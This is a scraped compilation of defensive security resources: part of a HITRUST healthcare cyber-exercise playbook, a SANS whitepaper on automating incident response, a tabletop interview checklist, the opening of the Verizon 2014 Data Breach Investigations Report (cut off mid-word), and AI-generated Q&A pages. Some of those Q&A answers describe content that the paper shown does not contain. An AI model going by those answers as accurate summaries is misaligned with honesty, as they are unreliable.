three-tier program that supports organizations of varying cyber sophistication levels while helping evolve their cyber preparedness maturity and keep pace with mounting, increasingly complex cyber threats to the healthcare industry. CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC34 << Back to Contents Appendix B – Acknowledgements Working Group Representation Many individuals and organizations provided input into the playbook, but those Individuals responsible for directly contributing to the development of the CyberRX 2.0 Playbook were affiliated with the following organizations: • Amazon • Booz Allen Hamilton • ComplySmart • Deloitte & Touche • HITRUST • Medtronic • UnitedHealth Group • U.S. Department of Health and Human Services (Office of the Chief Information Officer) More information on the CyberRX program can be found at www.hitrustalliance.net/cyberrx. 855.HITRUST (855.448.7878) www.HITRUSTalliance.net --- ## Source: https://montance.com/questions.php?id=34 [![pdf](content/images/icons/pdf.svg) CyberRX2Playbook LVLI.pdf](https://drive.google.com/file/d/17aLNjuvBMjY1wNnCqUkSxeRPAvB-eKdl/view?usp=sharing) Cyberrx2playbook Lvli Playbook for a Level 1 healthcare cyber exercise involving medical devices. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What distinguishes the 'CyberRX' exercise methodology from a standard tabletop? A: It focuses specifically on the healthcare sector's unique constraints, such as patient safety and medical device availability, rather than just IT systems. * Q: In the Level 1 scenario, how does the 'Medical Device' compromise impact clinical operations? A: It forces a fallback to manual procedures, potentially delaying patient care and increasing the risk of medical errors. * Q: What is the strategic value of including 'Executive Leadership' in this specific exercise? A: To validate decision-making authorities regarding system shutdowns that could impact patient health versus data security. * Q: How does the playbook suggest handling 'Public Relations' during a ransomware event? A: By having pre-approved templates for communication that address patient safety concerns first, before technical details. * Q: What specific 'Inject' is used to escalate the scenario intensity? A: Reports of patient data appearing on the dark web or direct threats to life-safety systems. * Q: What is the role of the 'Scribe' in the CyberRX methodology? A: To capture not just the decisions made, but the \*gaps\* in information that hindered decision-making during the exercise. * Q: How does the exercise address 'Third-Party Risk'? A: By introducing a scenario where the compromise originates from a vendor or connected partner, testing the organization's ability to coordinate response. * Q: What is the 'Hot Wash' objective immediately following the exercise? A: To capture immediate impressions and emotional responses to the pressure before they fade, identifying cultural or communication breakdowns. * Q: How does the playbook recommend measuring 'Resilience'? A: By the ability of clinical operations to continue functioning effectively while IT systems are unavailable. * Q: What specific regulatory concern is highlighted in the healthcare scenario? A: The tension between HIPAA privacy requirements (not disclosing patient data) and the need to share threat indicators with law enforcement. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgWTlXaDRmY2V0NUE/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgWTlXaDRmY2V0NUE/view?usp=sharing]** Interested in learning more about security? SANS Institute InfoSec Reading Room This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission. Automation in the Incident Response Process: Creating an Effective Long-Term Plan With the right resources in place, attackers can be detected more accurately and efficiently, mitigating damage and data loss from inevitable network attacks. This paper presents a proper process and procedure for incident response that includes the use of automation tools. Copyright SANS Institute Author Retains Full Rights ©2015 SANS™ Institute A SANS Whitepaper Written by Alissa Torres February 2015 Sponsored by Bit9 + Carbon BlackAutomation in the Incident Response Process: Creating an Effective Long-Term Plan If 2014 was the year of the mega breach, with corporate giants falling prey to hackers and suffering significant data breaches, 2015 may very well be known as the year of proactive vigilance. None of our networks is immune to a motivated attacker. As Joseph Demarest, assistant director of the cyberdivision of the Federal Bureau of Investigation, told members of Congress at the end of December 2014, “[T]he malware that was used would have gotten past 90 percent of the Net defenses that are out there today in private industry. ”1 SANS ANALYST PROGRAM Automation in the Incident Response Process: Creating an Effective Long-Term Plan1Introduction 1 “FBI official calls Sony attackers ‘organized, ’ ‘persistent, ’” www.cnet.com/news/fbi-official-calls-sony-attackers-organized-persistent Present Weaknesses in the Incident Response Process SANS ANALYST PROGRAM 2Security professionals have grown to accept certain irrefutable truths: • The adversary is already in the network. • Detection is theoretically possible with the right technology, process and expertise. • Security teams are limited by organizational constraints (budget, trained personnel and effective technology) and how much risk avoidance the company is willing to pay for. With the right resources in place, security professionals can detect attacks more accurately and efficiently, mitigating damage and data loss. And today’s chief information security officers (CISOs) are under tremendous pressure to craft a proactive strategy for defense and detection. At the same time, security pros are dealing with limited budgets, staff and other resources. Mixed into this challenging environment are increasingly tough data breach and compliance regulations that require enterprises to protect proprietary data and customer personally identifiable information to avoid legal fines. Creating and implementing effective measures to prevent a data breach in 2015 are in the forefront of security team agendas in organizations of all sizes. According to the Ponemon Institute “2014: A Year of Mega Breaches” survey results, 55 percent of respondents reported that their organization created an incident response (IR) capability as a result of the recent large-scale data breaches covered in the media. 2 Automation in the Incident Response Process: Creating an Effective Long-Term Plan2 www.identityfinder.com/us/Files/2014TheYearOfTheMegaBreach.pdf Few breach victims can wait days, much less weeks, for service providers to arrive on site when an attacker is actively stealing sensitive data. What Is the Role of Automation and Why? SANS ANALYST PROGRAM 3Working from an IR plan allows for structure and organization when the unexpected occurs. Because the circumstances of critical events vary widely, a team with the proper process and procedure in place will move smoothly through the six steps of the IR process. These steps include preparation, detection, containment, eradication, remediation and follow-up. Even as security challenges have multiplied, many organizations’ current IR plans rely on both the availability and affordability of third-party IR and breach mitigation support, either employed via retainer or service contract. These third-party companies specialize in detailed scoping of an intrusion as well as mitigation, enabling other organizations to call upon them as needed instead of establishing their own full-time IR staff. But with the recent spike in demand for IR services, the outsourced model has fallen under intense scrutiny. And exponentially increasing demand for premier level service prioritization from these service providers means that meeting any acceptable “boots on the ground” SLA timeframe is becoming increasingly more difficult. Few breach victims can wait days, much less weeks, for service providers to arrive on site when an attacker is actively stealing sensitive data. As a consequence, CISOs in many organizations are realizing faster response times and financial advantages of moving these capabilities in-house. By taking ownership of the IR process and customizing the response process to the specific needs and infrastructure of their organization, an internal IR team will grow increasingly more proficient at handling its own critical incidents. Typical efficiency gains of automating and owning IR include deeper knowledge of the implemented technology, faster false-positive reductions, shorter duration of detection to containment time and, subsequently, less significant data loss when a breach occurs. According to the 2014 SANS Incident Response survey, 59 percent of respondents reported their employers have a dedicated internal team focused on IR, reporting and remediation, and 61 percent of respondents’ employers have identified surge IR support team members from internal staff. 3 These statistics (see Figure 1) support the recent trend of establishing in-house IR capabilities. Automation in the Incident Response Process: Creating an Effective Long-Term PlanSix Steps of Incident Response 1. Preparation 2. Detection3. Containment4. Eradication5. Remediation6. Follow-up 3 www.sans.org/reading-room/whitepapers/analyst/incident-response-fight-35342 What Is the Role of Automation and Why? (CONTINUED) SANS ANALYST PROGRAM 4 Figure 1. Dedicated Versus Third-Party IR Capability (Source: SANS 2014 IR Survey) There is no shortage of obstacles for those teams developing an internal IR capability. Time from initial infection to detection is thought to be the most critical matter and greatest failing of today’s IR teams.4 The 2014 Verizon Data Breach Investigations Report shows that the majority of attacks require less than a week to break into a network, yet only approximately 25 percent of the breach detection occurs in the same span of time. 5 To target this Achilles heel of the six-step IR process, security information and event management (SIEM) and endpoint security and intrusion detection technologies were reported as the top security investments companies are making, according to the 2014 Ponemon Institute survey. 6 Fifty percent of survey respondents reported that their organization’s top security investment was in SIEM, with endpoint security a close second, named by 48 percent of respondents. Automation in the Incident Response Process: Creating an Effective Long-Term Plan4 “Lessons From 2014 Mega Breaches: It’s Time To Shift To A Post-Breach Mindset, ” www.forbes.com/sites/frontline/2015/01/07/lessons-from-2014-mega-breaches-its-time-to-shift-to-a-post-breach-mindset/2 5 www.verizonenterprise.com/DBIR/2014 6 www.ponemon.org/library/2014-a-year-of-mega-breaches What resources does your orginization utilize in responding to incidents? Select the best answer. Figure 1. Dedicated Versus Third-Party IR Capability (Source: SANS 2014 IR Survey) Surge team drawn from our internal staff Dedicated internal team focused on IR, reporting and remediation Third-party IR services we call as needed Third-party IT management provider Other Targeted Areas for Improvements Through Automation SANS ANALYST PROGRAM 5Acknowledging the substantial investment involved with weighing, selecting and implementing an endpoint and network monitoring system, it is essential that organizations consider their present and future security needs. These tools enable the security team to aggregate critical endpoint system information and log to a SIEM technology. With access to a continuous system-state data feed, the security team can configure a SIEM to identify a pattern or sequence of activities (such as serial attempts seen associated with a domain user attempting to connect to a system across the network via share). Enterprises that want to increase their internal automated IR capabilities face several potential challenges, including a lack of time, skills and roadmap. Those organizations creating a proactively vigilant environment from nothing also face several potential obstacles, including whether to add testing and installation of endpoint protection software. In addition, enterprises going in-house will need to evaluate whether workstations, servers and mobile devices should be within the scope of system monitoring and what data they should aggregate from each of these types. Often the absence of skilled personnel experienced with the chosen technology makes customizing a tool for a unique environment a time-consuming and frustrating trial-and-error effort. A View into the State of Current IR Processes Automation provides deeper insight into endpoint and network traffic and facilitates detection of execution of malicious software or anomalous activity. In addition to improving detection, efficiency gains provided by automation can improve response time significantly, allowing for swift triage and containment. Fast response affects the impact of incident after detection, mitigating the organization’s data loss and/or destruction. Consider the inefficiencies of the following scenario, representative of the state of current IR processes in many organizations: A Tier 2 IR analyst spots anomalous entries on a few workstations while performing targeted data aggregation and stacking analysis. In studying the least frequently occurring AppCompatCache registry entries from a sample set of hundreds of systems, three systems show an scvhost.exe having executed from a peculiar C:\Users\Public\Biforder directory. Based on the time and date stamps embedded in these registry values, the analyst isolates the initial time of execution as being approximately two months ago. How does this analyst proceed with triage and investigation of these potentially suspicious findings? Automation in the Incident Response Process: Creating an Effective Long-Term Plan Targeted Areas for Improvements Through Automation (CONTINUED) SANS ANALYST PROGRAM 6When encountering possible signs of malicious code execution on a system, one must consider the various possible stages of attack at which incident responders may discover an intrusion. In the best-case scenario, the malicious scvhost binary attempted to execute on these systems and failed to download, in which case few additional artifacts would exist both on these systems and in capture network traffic. But consider a successful exploitation and stage 2 malware delivery completed on all three systems. After two months on the network, a sophisticated adversary would have gained intelligence survey of the internal network and notable directory structures as well as had the opportunity to harvest local system, application and domain credentials. How will the analyst determine at what stage in the attacker kill chain he has encountered the adversary? 7 Naturally, the responder’s investigative methodology would lead him to interrogate each system of interest to gather more information on the suspicious binaries. Unfortunately, in most organizations, this analysis would be limited to the current state of the system with no historical understanding of system volume, Windows registry or native Windows artifacts. After all, a security team cannot be precognitive about what will be pertinent to the investigation before the breach occurs. The team could not possibly predict which artifacts on which specific system would hold the key to unraveling the initial vector of infection. The examiner’s view of the current contents of the file system, based on the sophistication of his attacker, may or may not include the C:\Users\Public\Biforder directory at this point. What about volume shadow copies (VSS)? They may have a past snapshot of the directory of interest, yet a roll of the dice occurs for such a possibility because the timeframe of VSS creation is every seven days. The current system’s prefetch directory, local event logs, $USNJournal, $LogFile and Windows Search Index may shed some light on the existence and timeline of these binaries as well, but have an element of brittleness based on the rate of churn on the systems. Incident responders encounter this all-too-common scenario every day. Even those who don’t just react to alerts but proactively hunt for behavioral indicators of adversary behavior find it difficult—if not impossible—to reconstruct the sequence of events that led to infection. And without access to relevant archived system or network data, the most skilled examiners can be left without insight into how the system volume, Windows registry, and native logs and artifacts looked last week, or last month, or at any other period. Automation in the Incident Response Process: Creating an Effective Long-Term Plan7 www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf Targeted Areas for Improvements Through Automation (CONTINUED) SANS ANALYST PROGRAM 7As this example illustrates, the level of expertise required to manually acquire the target dataset from the potentially compromised systems requires considerable training and experience. Many organizations just growing their response capability are not able to employ such an expert, because such expertise is unavailable, too expensive or otherwise not feasible. Given this reality, a case can be made for automated data management technology, which can standardize data collection in a triage situation so nothing is missed. Because one of the biggest challenges for incident responders is just getting the data, automated continuous monitoring of endpoints and network traffic provides such data. Therefore, analysis can begin immediately to help move the IR investigation forward. Automation in the Incident Response Process: Creating an Effective Long-Term Plan Developing a more automated, and therefore more effective, IR approach can be broken into three specific strategies: • Continuous data collection • Aggregate and apply threat intelligence • Streamlining live response capabilities Figure 2 illustrates these strategies. Figure 2. The Three Steps to an Automated IR Plan Continuous Data Collection According to the SANS 2014 Log Management survey, 97 percent of respondents collect logs, yet only 42 percent send logs to an SIEM system.8 In implementing automated continuous data collection strategies, a security team gains deeper insight into historical system state, event logs and network traffic. How does automated continuous data collection compare to the standard data collection performed when an incident is detected? In traditional IR, evidence gathering takes place after a potential incident, leaving the investigator with blind spots regarding how the system was compromised and what the attacker did prior to detection. In contrast, continuous proactive data collection ensures that evidence of execution, file access, lateral movement, network connections and logons are collected continuously. This data is archived for future use in incidents that have not yet occurred or been identified—a form of IR precognition. Automating and Improving the IR Process: A Three-Step Plan SANS ANALYST PROGRAM 8 Automation in the Incident Response Process: Creating an Effective Long-Term Plan Streamlining live response capabilities Aggregate and apply threat intelligence Continuous data collection 8 www.sans.org/reading-room/whitepapers/analyst/ninth-log-management-survey-report-35497 Automating and Improving the IR Process: A Three-Step Plan (CONTINUED) SANS ANALYST PROGRAM 9In the preceding example, with ongoing enterprise endpoint monitoring in place, the examiner could have rolled right into response, having overcome the greatest hurdle to the investigative process—just getting the data. The skilled examiner has the data immediately within arms’ reach instead of having to extract evidence manually. This approach saves significant time. Prioritizing ongoing data collection offers some additional benefits. For example, large- scale enterprise data aggregation tools provide the capability to baseline user behavior. By creating patterns of life for legitimate users on the network, deviations from a user’s typical activity would be flagged as anomalous behavior. The examiner can then create automated alerts for events such as unusually timed logons, network resource accesses and VPN activity, allowing visibility into possible activity of the attackers already inside the network. In addition, by collecting the right data, signs of an attacker’s lateral movement under the guise of legitimate credentials may be identified—a technique commonly employed by attackers to move among remote systems. Relying on logon audit failures or manual log review would make this type of identification nearly impossible. It is important to note here that SIEMs are only as intelligent as the data they are fed, pointing to the expertise involved in selecting what data to aggregate in the first place. Yet if configured correctly, the automated collection can allow security teams to know what normal system and user behavior looks like—and therefore recognize anomalous activity when it occurs. Automation in the Incident Response Process: Creating an Effective Long-Term PlanBy collecting the right data, signs of an attacker’s lateral movement under the guise of legitimate credentials may be identified. Automating and Improving the IR Process: A Three-Step Plan (CONTINUED) SANS ANALYST PROGRAM 10Aggregate and Apply Threat Intelligence With continuous data monitoring in place, enterprises now can move to step two of our three-step plan. By centralizing continuous endpoint and network data collection, powerful correlations can be drawn with regards to threat activity, attack and reconnaissance techniques and threat actors. Threat intelligence is a capability that in the past has often been associated with more mature security teams and is underutilized in most organizations today. As seen in the SANS Incident Response survey conducted in June 2014, only 31 percent of organizations polled perform adversary/attacker attribution based on the data they collect during the IR process (see Figure 3).9 How can an organization incorporate threat intelligence capability into their IR process? With automated data aggregation, threat intelligence and attribution becomes easier from an institutional perspective, using data from past incidents to identify current attacks, as well as through partnerships developed with endpoint/network security vendors. Threat intelligence feeds can be obtained from SIEM vendors, community feeds and commercial threat intelligence providers and aggregators capable of packaging feeds in SIEM-ready preformatted rules. Through automation, the barrier to making use of past incident data from the organization and others in the community is lowered, allowing for greater proactive detection and response. Automation in the Incident Response Process: Creating an Effective Long-Term PlanDoes your organization perform adversary/attacker attribution based on the data/signatures collected during the incident response process? Figure 3. Respondents Who Perform Adversary/Attacker Attribution with IR Data (Source: SANS 2014 IR Survey) Yes No UnknownWith automated data aggregation, threat intelligence and attribution becomes easier from an institutional perspective. 9 www.sans.org/reading-room/whitepapers/analyst/incident-response-fight-35342 Automating and Improving the IR Process: A Three-Step Plan (CONTINUED) SANS ANALYST PROGRAM 11Streamline Live Response Capability Lack of historical data was not the only difficulty that the examiner in our example ran into during his investigation, because the life of an incident responder is littered with obstacles. From the start, he struggled to rapidly perform system triage due to his organization’s inefficient response technology, giving the attacker more dwell time uncontained on his network. Streamlining of the IR process and reduction of inefficiencies such as the one described is another critical element of an effective automated plan. In our example of an attack, gaining access to the three geographically disparate systems of interest required laborious configuration changes because the environment lacked a remote enterprise triage tool. This problem is an easy fix because many of today’s remote endpoint analysis tools offer automated triage capabilities. In connecting to the remote system via a software agent, these tools enable an examiner to perform triage swiftly upon request or to set triage to trigger automatically in reaction to an alert. Remote system interrogation provides a solution for getting the data to the examiner for faster triage of potentially compromised systems. However, not all organizations take advantage of these tools at this time. A notable percentage of companies are paying for automated endpoint detection and mitigation technology and not making effective use of their investment due to lack of time, trained staff or incompatible network architecture. “Much of the new spending, however, may be on process improvements and staffing to get the most value out of existing security technologies already in place, ” according to the 2014 Ponemon Institute survey. 10 Most computer incident response team (CIRT) members agree that every day on the job brings different and widely varying challenges. Devising a standard operating procedure when each incident could require uniquely specific actions is exceedingly difficult. For example, the measures taken to contain the effects of equipment theft compared to those put in place to combat a distributed denial of service (DDoS) against a web server can hardly be described in one standing document, let alone expected to be handled comprehensively by the same skillset of professionals. The need for automation and efficiency of process and procedure exists no matter what type of incident an organization encounters. Automation in the Incident Response Process: Creating an Effective Long-Term Plan10 “Data Breaches Drive Investments In Security Response, Data Protection, ” www.crn.com/news/security/300075493/data-breaches-drive-investments-in-security-response-data-protection.htm As many organizations seek to increase their response capabilities, future implementations of streamlining evidence collection from the endpoints and crafting intelligently baselined event threshold alerts will become more imperative due to budget, time and manpower constraints. A forward leaning focus on automated security implementations that incorporates endpoint data/log collection, network device log aggregation and packet capture will offer an organization the capability to expand to its future demands of an ever-changing, increasingly sophisticated threatscape. SANS ANALYST PROGRAM12Summary Automation in the Incident Response Process: Creating an Effective Long-Term Plan About the Author Sponsor SANS ANALYST PROGRAM13Alissa Torres is a certified SANS instructor, specializing in advanced computer forensics and incident response (IR). Her industry experience includes serving in the trenches as part of the Mandiant Computer Incident Response Team (MCIRT) as an incident handler and working on an internal security team as a digital forensic investigator. She has extensive experience in information security, spanning government, academic and corporate environments, and holds a bachelor’s degree from University of Virginia and a master’s from University of Maryland in information technology. Alissa has taught as an instructor at the Defense Cyber Investigations Training Academy (DCITA), delivering IR and network basics to security professionals entering the forensics community. She has presented at various industry conferences and numerous B-Sides events. In addition to being a GIAC Certified Forensic Analyst (GCFA), she holds the GCFE, GPEN, CISSP , EnCE, CFCE, MCT and CTT+. SANS would like to thank this paper’s sponsor: Automation in the Incident Response Process: Creating an Effective Long-Term Plan Last Updated: June 14th, 2015 Upcoming SANS Training Click Here for a full list of all Upcoming SANS Events by Location SANS Rocky Mountain 2015 Denver, COUS Jun 22, 2015 - Jun 27, 2015 Live Event Cyber Defence Canberra 2015 Canberra, AU Jun 29, 2015 - Jul 11, 2015 Live Event SANS Capital City 2015 Washington, DCUS Jul 06, 2015 - Jul 11, 2015 Live Event Digital Forensics & Incident Response Summit Austin, TXUS Jul 07, 2015 - Jul 14, 2015 Live Event European Security Awareness Summit London, GB Jul 08, 2015 - Jul 10, 2015 Live Event SANS London in the Summer 2015 London, GB Jul 13, 2015 - Jul 18, 2015 Live Event SANS Minneapolis 2015 Minneapolis, MNUS Jul 20, 2015 - Jul 25, 2015 Live Event SANS San Jose 2015 San Jose, CAUS Jul 20, 2015 - Jul 25, 2015 Live Event SANS Boston 2015 Boston, MAUS Aug 03, 2015 - Aug 08, 2015 Live Event Cyber Defense Summit & Training Nashville, TNUS Aug 11, 2015 - Aug 18, 2015 Live Event SANS San Antonio 2015 San Antonio, TXUS Aug 17, 2015 - Aug 22, 2015 Live Event Security Awareness Summit & Training Philadelphia, PAUS Aug 17, 2015 - Aug 25, 2015 Live Event SANS DFIR Delhi 2015 Delhi, IN Aug 24, 2015 - Sep 05, 2015 Live Event SANS Virginia Beach 2015 Virginia Beach, VAUS Aug 24, 2015 - Sep 04, 2015 Live Event SANS Chicago 2015 Chicago, ILUS Aug 30, 2015 - Sep 04, 2015 Live Event FOR578 Cyber Threat Intelligence Tysons Corner, VAUS Aug 31, 2015 - Sep 04, 2015 Live Event SANS Milan 2015 Milan, IT Sep 07, 2015 - Sep 12, 2015 Live Event SANS Crystal City 2015 Crystal City, VAUS Sep 08, 2015 - Sep 13, 2015 Live Event SANS Network Security 2015 Las Vegas, NVUS Sep 12, 2015 - Sep 21, 2015 Live Event SANS Pen Test Berlin 2015 OnlineDE Jun 22, 2015 - Jun 27, 2015 Live Event SANS OnDemand Books & MP3s OnlyUS Anytime Self Paced --- ## Source: https://montance.com/questions.php?id=33 [![pdf](content/images/icons/pdf.svg) Automation incident response process creating effective long term plan.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgWTlXaDRmY2V0NUE/view?usp=sharing) Automation Incident Response Process Creating Effective Long Term Plan Whitepaper on planning and implementing automation in incident response lifecycles. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: How does the 'OODA Loop' concept apply to automating incident response? A: It emphasizes that automation should speed up the 'Observe' and 'Act' phases to disrupt the adversary's cycle faster than they can adapt. * Q: What specific criteria should be used to select processes for automation? A: Processes that are high-volume, repetitive, well-documented, and have a low risk of negative impact if an automated action fails. * Q: Why is 'Context' critical when automating the containment phase? A: Blind automation (e.g., blocking an IP) without context can disrupt critical business functions; context ensures the asset's role is understood before action. * Q: What is the 'Human-in-the-loop' requirement for critical decisions? A: While data collection can be fully automated, high-impact decisions like taking a core server offline should require human validation. * Q: How does the document suggest measuring the ROI of automation? A: By calculating the reduction in 'Mean Time to Respond' (MTTR) and the equivalent analyst hours saved per incident. * Q: What is the risk of automating bad processes? A: Automation magnifies inefficiencies; a flawed manual process becomes a faster, high-volume flaw when automated. * Q: How should 'Playbooks' evolve with automation? A: They must transition from static documents to dynamic, machine-readable workflows that can be executed by SOAR platforms. * Q: What role does 'Threat Intelligence' play in automated detection? A: It provides the indicators (IOCs) that automated systems use to filter noise and trigger high-fidelity alerts. * Q: What is the recommended approach to handling 'False Positives' in an automated system? A: Implement a feedback loop where analyst dispositions ('False Positive') automatically tune the detection logic to prevent recurrence. * Q: How does automation support 'Scalability' in incident response? A: It decouples the volume of alerts from the number of analysts, allowing the SOC to handle spikes in activity without linear staffing increases. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=32 [![docx](content/images/icons/docx.svg) Tabletop Interview.docx](https://docs.google.com/document/d/1hAFtR8DpAwposrTSyyB1H6gb8-lPyCj0/edit?usp=sharing) Tabletop Interview Resource covering IR titled 'Tabletop Interview'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the first question asked in the pre-tabletop interview? A: Who will be participating in the TableTop exercise? Legal? HR? Data Owners? * Q: What staffing question is asked? A: Current Size of your IR Team? Dedicated or Surge? * Q: What policy question is asked regarding authorization? A: Does your policy provide authorization to pull systems offline? * Q: What technical capabilities are queried? A: Centralized logging/SIEM, Network IDS, Packet Capture, Host IDS. * Q: What endpoint question is asked? A: Any endpoint forensic agent in place? what tools are currently being used? * Q: What external factors are considered? A: Externally facing web servers? Third party service providers? Cloud service providers? * Q: What user access questions are asked? A: Do users VPN? Prevalence and Policy concerning Mobile Devices, BYOD? Dual Factor Authentication? ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgWXE3cU5kS050Tk0/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgWXE3cU5kS050Tk0/view?usp=sharing]** CYBER-ESPIONAGE POINT-OF-SALE INTRUSIONSINSIDER MISUSE DOS ATTACKS CRIMEWARE WEB APP ATTACKSPAYMENT CARD SKIMMERSMISCELLANEOUS ERRORS PHYSICAL THEFT AND LOSSConducted by Verizon with contributions from 50 organizations from around the world. THE UNIVERSE OF THREATS MA Y SEEM LIMITLESS, BUT 92% OF THE 100,000 INCIDENTS WE’VE ANAL YZED FROM THE LAST 10 YEARS CAN BE DESCRIBED BY JUST NINE BASIC PATTERNS.92%201 4 DATA BREACHINVESTIGATIONS REPORT VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT VERIZON 2014 DBIR Contributors (see Appendix C for a detailed list) DEFENSE SECURITY SERVICE UNITED STATES OF AMERICA VC DBMalwar e Analysis & Threat Intelligence ii VERIZON ENTERPRISE SOLUTIONS CONTENTS iNTRODUCT iON ....................................................................................................................................................................... 2 2013 YEAR i N REV i EW ......................................................................................................................................................... 3 V i CT i M DEMOGRAPH i CS .................................................................................................................................................... 5 A DECADE OF DB i R DATA .................................................................................................................................................... 7 RESUL TS AND ANAL YS i S ................................................................................................................................................. 13 POiNT-OF-SALE iNTRUS iONS .......................................................................................................................... 16 WEB APP ATTACKS .................................................................................................................................................20 iNSiDER AND PR iViLEGE M iSUSE .................................................................................................................. 23 PHYS iCAL THEFT AND LOSS ............................................................................................................................. 27 MiSCELLANEOUS ERRORS ................................................................................................................................ 29 CRiMEWARE .............................................................................................................................................................. 32 PA YMENT CARD SK iMMERS .............................................................................................................................. 35 DEN iAL OF SERV iCE ............................................................................................................................... ............... 38 CYBER-ESP iONAGE ............................................................................................................................... ................ 43 EVERYTH iNG ELSE ............................................................................................................................... ................. 46 CONCLUS i ON AND SUMMARY RECOMMENDAT i ONS ........................................................................................ 48 APPEND i X A: METHODOLOGY ....................................................................................................................................... 51 APPEND i X B: DATA BREACHES AND i DENT i TY THEFT: A CONVOLUTED i SSUE ..................................... 53 APPEND i X C: L i ST OF CONTR i BUTORS ...................................................................................................................... 55 ENDNOTES ............................................................................................................................................................................... 56 Questions? Comments? Brilliant ideas? We want to hear them. Drop us a line at dbir@verizon.com, find us on LinkedIn, or tweet @VZdbir with the hashtag #dbir. 1 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT INTRODUCTION Welcome to the 2014 Data Breach investigations Report (DB iR).1 Whether you’re a veteran reader who’s been with us since our initial publication back in 2008 or a newbie to our annual data party, we’re sincerely glad you’re here. We hope that this year’s submission will improve awareness and practice in the field of information security and support critical decisions and operations from the trenches to the boardroom. For DB i R veterans, a cursory look at the table of contents will reveal some significant changes to the report structure you’ve gotten used to in years past. Rather than our signature approach organized around actors, actions, assets, timelines, etc., we’ve created sections around common incident patterns derived directly from the data itself (more on that later). Within each of those patterns, we cover the actors who cause them, the actions they use, assets they target, timelines in which all this took place, and give specific recommendations to thwart them. The drive for change is three-fold: first, we realized that the vast majority of incidents could be placed into one of nine patterns; second, we can (and did) draw a correlation between these incident patterns and industries; and third, we wanted to challenge ourselves to look at the data with a fresh perspective. The ultimate goal is to provide actionable information presented in a way that enables you to hash out the findings and recommendations most relevant to your organization. We all know that data doesn’t grow on trees, and we must express our gratitude to the 50 organizations that contributed to this report, representing public and private entities from around the globe. We’re proud to work with these organizations and feel that what you’re now reading is proof of the benefits of coordinated incident data sharing. For the full list of 2014 DB i R contributors, check out Appendix C. The dataset that underpins the DB i R is comprised of over 63,000 confirmed security incidents — yep, over Sixty-Three Thousand. That rather intimidating number is a by-product of another shift in philosophy with this year’s report; we are no longer restricting our analysis only to confirmed data breaches. This evolution of the DB i R reflects the experience of many security practitioners and executives who know that an incident needn’t result in data exfiltration for it to have a significant impact on the targeted business. So prepare to digest what we hope will be some very delicious data prepared for you this year. The Methodology section, normally found near the beginning of the report, is now in Appendix B. We’ll begin instead with a review of 2013 from the headlines, then provide a few sample demographics to get you oriented with the dataset. The following section — a summary of our 10 years’ of incident data — might just be our favorite. (but please don’t tell the other sections that). We’ll then provide analysis of the aforementioned incident classification patterns and end with some conclusions and a pattern-based security control mapping exercise. So let’s get started!50 CONTRIBUTING GLOBAL ORGANIZATIONS 1,367 CONFIRMED DATA BREACHES 63,437 SECURITY INCIDENTS 95 COUNTRIES REPRESENTED 2 VERIZON ENTERPRISE SOLUTIONS 2013 YEAR IN REVIEW The year 2013 may be tagged as the “year of the retailer breach, ” but a more comprehensive assessment of the i nfoSec risk environment shows it was a year of transition from geopolitical attacks to large-scale attacks on payment card systems. 2013 may be remembered as the “year of the retailer breach, ” but a comprehensive assessment suggests it was a year of transition from geopolitical attacks to large-scale attacks on payment card systems. JANUARY January saw a series of reports of targeted attacks by what were probably state-sponsored actors. The Red October cyber-espionage campaign was exposed and responsible for targeting government agencies and research institutions globally, but in Russian-speaking countries in particular. i ntelligence then connected it to actors using the Elderwood framework, and also a complex series of attacks beginning with a “watering hole” attack on the Council on Foreign Relations web site (cfr.org) that began on Boxing Day 2012. Meanwhile, the i zz ad-Din al-Qassam Cyber Fighters (QCF) were almost a month into Phase ii of Operation Ababil Distributed Denial of Service (DDoS) attacks on U.S. financial services companies. FEBRUARY The segue into February was provided by The New Y ork Times and the Wall Street Journal, with new reports of targeted cyber-espionage. And Sophos reported a new Citadel-based Trojan crafted to attack Point-of-Sale (POS) systems using a Canadian payment card processor. We would soon learn that www.iphonedevsdk.com became a watering hole, using a surprise attack on Java late in the month. Most i nfoSec professionals well remember February as the month Mandiant (now FireEye) released its superb APT1 report. February was also the start of reports of data breaches from large enterprises, courtesy of the aforementioned iPhoneDevSDK: Facebook, Twitter, Apple, and Microsoft were all victims. Noteworthy retailer POS data breaches were reported by Bashas’ and Sprouts, two discrete grocery chains in the U.S. Southwest. Bit9 reported a data breach that began in July 2012, attacking its code-signing infrastructure. MARCH Fifty million Evernote users remember that March was the month they were forced to change their passwords. On March 20, the Republic of Korea suffered a large-scale cyber-attack that included disk corruption. We remain skeptical that the Cyberbunker-CloudFlare-Spamhaus DoS attack almost broke the i nternet at the end of March. Group- i B reported “Dump Memory Grabber” (a.k.a. BlackPOS), a new POS Trojan that would go on to make headlines when news broke of Target Stores’ breach in December.This section is a compilation of the weekly i NTSUM lead paragraphs posted to our blog and is 100% based on open source intelligence (OS i NT). We maintain a very strong policy against identifying i nvestigative Response clients, and mentions of organizations in this section in no way imply that we conducted an investigation involving them or that they are among the victims in our dataset. 3 VER i ZON 2014 DATA BREACH i NVEST i GAT i 